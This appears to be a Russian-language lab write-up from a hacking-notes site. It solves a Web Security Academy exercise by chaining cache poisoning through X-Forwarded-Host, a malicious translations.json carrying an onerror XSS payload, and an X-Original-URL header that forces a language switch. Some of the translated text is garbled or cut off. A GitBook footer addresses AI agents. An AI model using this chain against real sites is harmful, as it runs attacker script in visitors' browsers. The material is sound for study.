> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/combination-of-web-vulnerabilities-cache-poisoning.md).

# Комбинация веб-уязвимостей и отравления кэша

### Объединение уязвимостей отравления веб-кэша

Мы должны **отравить кэш главной страницы** версией, которая выполняется **`alert(document.cookie)`** в браузере посетителя. Жертва передаёт `/` about **каждую минуту** и **язык жертвы — английский (`lang=en` cookie)**.

<figure><img src="/files/96fad2ab8c92efa3e08b60733cb26654c3febb2d" alt=""><figcaption></figcaption></figure>

### (1) Точка входа: функция перевода на стороне клиента

На главной странице мы наблюдаем:

* Один `lang` cookie (например, `lang=es`) + `session=...`
* Скрипт перевода: **`/resources/js/translations.js`**

{% code overflow="wrap" %}

```http
Cookie: lang=es; session=3AJsSQlcvMWoyYAD7DAbxUISdsu1rIFg
```

{% endcode %}

```javascript
function initTranslations(jsonUrl)
{
    const lang = document.cookie.split(';')
        .map(c => c.trim().split('='))
        .filter(p => p[0] === 'lang')
        .map(p => p[1])
        .find(() => true);

    const translate = (dict, el) => {
        for (const k in dict) {
            if (el.innerHTML === k) {
                el.innerHTML = dict[k];
            } else {
                el.childNodes.forEach(el_ => translate(dict, el_));
            }
        }
    }

    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            const select = document.getElementById('lang-select');
            if (select) {
                for (const code in j) {
                    const name = j[code].name;
                    const el = document.createElement("option");
                    el.setAttribute("value", code);
                    el.innerText = name;
                    select.appendChild(el);
                    if (code === lang) {
                        select.selectedIndex = select.childElementCount - 1;
                    }
                }
            }

            lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
        });
}
```

Этот скрипт читает `lang` из cookie, затем выполняет `fetch()` к JSON:

```json
{
    "en": {
        "name": "Английский"
    },
    "es": {
        "name": "Испанский",
        "translations": {
            "Return to list": "Вернуться к списку",
            "View details": "Просмотреть подробности",
            "Description:": "Описание:"
        }
    },
    "cn": {
        "name": "中文",
        "translations": {
            "Return to list": "返回清單",
            "View details": "查看詳情",
            "Description:": "描述:"
        }
    },
    "ar": {
        "name": "عربى",
        "translations": {
            "Return to list": "Вернуться к списку",
            "View details": "Просмотреть подробности",
            "Description:": "Описание:",
        }
    },
    "en-gb": {
        "name": "Правильный английский",
        "translations": {
            "Return to list": "Откуда вы пришли",
            "View details": "Окажите мне честь, изложив подробнее",
            "Description:": "Высокопарные рассуждения по теме:",
        }
    },
    "ml": {
        "name": "മലയാളം",
        "translations": {
            "Return to list": "ലിസ്റ്റിലേക്ക് മടങ്ങുക",
            "View details": "വിശദാംശങ്ങൾ കാണുക",
            "Description:": "വിവരണം:",
        }
    },
    "hb": {
        "name": "עברית",
        "translations": {
            "Return to list": "חזור לרשימה",
            "View details": "הצג פרטים",
            "Description:": "תיאור:",
        }
    },
    "zl": {
        "name": "Ẕ̻͕̿̊ͤ̍ͅa͙l̗ͧg̮̤̰̘͇ȍ͇͕̳̙͙͉́̅̋̌̅",
        "translations": {
            "Return to list": "Re̹̰̘͉̹̪ͅt̬̫̜ȕͩ͒ͥͥr̃̉͒n ̎͂t͎͖̽͋o͖̟͚͙̲͐ͤͫ̎̓ ̼̟͈̭͉͎̂ͯ̔ͤͤ̏͐ͅliͤ͑ͧ̆̐̈̀sṭ̠̮̰͍̙͒̔͆̈ͤ̅",
            "View details": "V̖̮͙ͅi͇e͙̦w̭̣̫͇̦̬̰ ̓͑̓ͯ̔d͍͂e͚̮͖͍͖̠͙ͮͭ̉ͦ̏͌̆t̙͎̺͉a̳̖͔̱͉̱͑̆̌̃͊ͬi̯͚͙̼̹̮l̖͎͛̈́͒ͅs̒̒ͤ̽̒̀",
            "Description:": "D̳͔e̝ͩ̐ͅsc̗̱̼̤̬̎̓ͪͣͭ̐ͅr̪̝͖̙̱̄̓͌̓̚ip̭̦̭̰̻ͣ̓̽ͨ̚ț̤̝̻i̹̱̟̞͕̓̓ͬ̓ͬ̆ͅon̠͚͕̈́̋̓:"
        }
    },
    "fn": {
        "name": "Финский",
        "translations": {
            "Return to list": "Вернуться к списку",
            "View details": "Просмотреть подробности",
            "Description:": "Описание:",
        }
    },
    "hw": {
        "name": "Гавайский",
        "translations": {
            "Return to list": "Hoʻi i ka papa inoa",
            "View details": "E nānā i nā kikoʻī",
            "Description:": "ʻO keʻano:",
        }
    },
    "mm": {
        "name": "ဗမာ",
        "translations": {
            "Return to list": "စာရင်းသို့ပြန်သွားသည်",
            "View details": "အသေးစိတ်ကြည့်ရန်",
            "Description:": "ဖော်ပြချက်:",
        }
    }
}
```

И `data.host` поступает из встроенного блока на главной странице:

```http
<script>
     data = {"host":"0acc008b046bd245809803b8002b0061.web-security-academy.net","path":"/"}
</script>
```

Затем скрипт применяет переводы, заменяя текст через `innerHTML`, что важно, потому что это может превратить перевод в \*\*HTML-инъекцию\*\* если вы контролируете JSON.

### Уязвимость №1: манипуляция хостом через `X-Forwarded-Host`

Добавив следующий HTTP-заголовок

```http
X-Forwarded-Host: test.com
```

мы обнаруживаем, что значение отражается в `data.host`.

<figure><img src="/files/f435327ec4e7812a960a73ced67cc54d3ef5c80f" alt=""><figcaption></figcaption></figure>

```javascript
<script>
    initTranslations('//' + data.host + '/resources/json/translations.json');
</script>
```

<figure><img src="/files/19cc4e56c00700d3732008dd9840395f6d0701ad" alt=""><figcaption></figcaption></figure>

Таким образом, мы можем заставить браузер загрузить файл:

```bash
/resources/json/translations.json
```

### 3. Уязвимость №2: XSS через JSON-файл перевода

Мы размещаем на сервере эксплуатации поддельный `translations.json` содержащий XSS-инъекцию в переводе, например:

```json
{
    "en": {
        "name": "Английский"
    },
    "es": {
        "name": "Испанский",
        "translations": {
            "Return to list": "Привет",
            "View details": "></a><img src=0 onerror=alert(document.cookie)>",
            "Description:": "Описание:"
        }
    }
}
```

<figure><img src="/files/56f9623a2798cd14daef9df2a30f01dea20fbad5" alt=""><figcaption></figcaption></figure>

Затем мы используем:

```http
X-Forwarded-Host: exploit-0a19004104f2d29e80b40256011c00b0.exploit-server.net/
```

Главная страница, обслуживаемая из кэша, теперь будет указывать на наш вредоносный JSON-файл.

Содержимое перевода, таким образом, интерпретируется как HTML, что позволяет выполнить внедрённый JavaScript.

<figure><img src="/files/51c3b2d30587ed9b2a426ffd67d90876a14eb7ae" alt=""><figcaption></figcaption></figure>

### 4. Ограничение: жертва использует английский

Скрипт перевода выполняется только если:

* `lang !== 'en'`

Жертва изначально `lang=en`. / Даже если мы контролируем JSON-файл, \*\*l

Мы должны, следовательно **усилить прохождение на испанском**.

### 5. Уязвимость №3: принудительная смена языка через `X-Original-URL`

<figure><img src="/files/00942af3f48ee3dc9e419bb889b29f2ca579ab3b" alt=""><figcaption></figcaption></figure>

Используя Param Miner, мы определяем уязвимый заголовок:

```http
X-Original-Url: /test
```

Мы отправляем ещё один запрос к `/` с помощью:

* `X-Original-URL: /test` → `404 Не найдено`

<figure><img src="/files/cac497af3d1b9c960c84c406bb9d5498c939b589" alt=""><figcaption></figcaption></figure>

Кэш отдаёт ответ, который определяет `lang=es` для посетителей.

```http
X-Original-Url: /setlang/es
```

`X-Original-URL: /setlang/es` → `302 Found`

Этот путь:

* Устанавливает `lang=es` cookie
* Затем вернитесь на главную страницу

<figure><img src="/files/8ed232ee743f5c9a86c9751d8a6412f5484b32ab" alt=""><figcaption></figcaption></figure>

#### Выполнение полезной нагрузки у жертвы

1. Жертва посещает `/`
2. `lang` cookie попадает на `es`
3. Страница перезагружает `translations.json` файл с нашего сервера эксплуатации
4. Вредоносный перевод внедряется в DOM
5. Браузер выполняет:

<figure><img src="/files/577d7c2ca7934f99c808a23b50dfab8de1ce9235" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/combination-of-web-vulnerabilities-cache-poisoning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
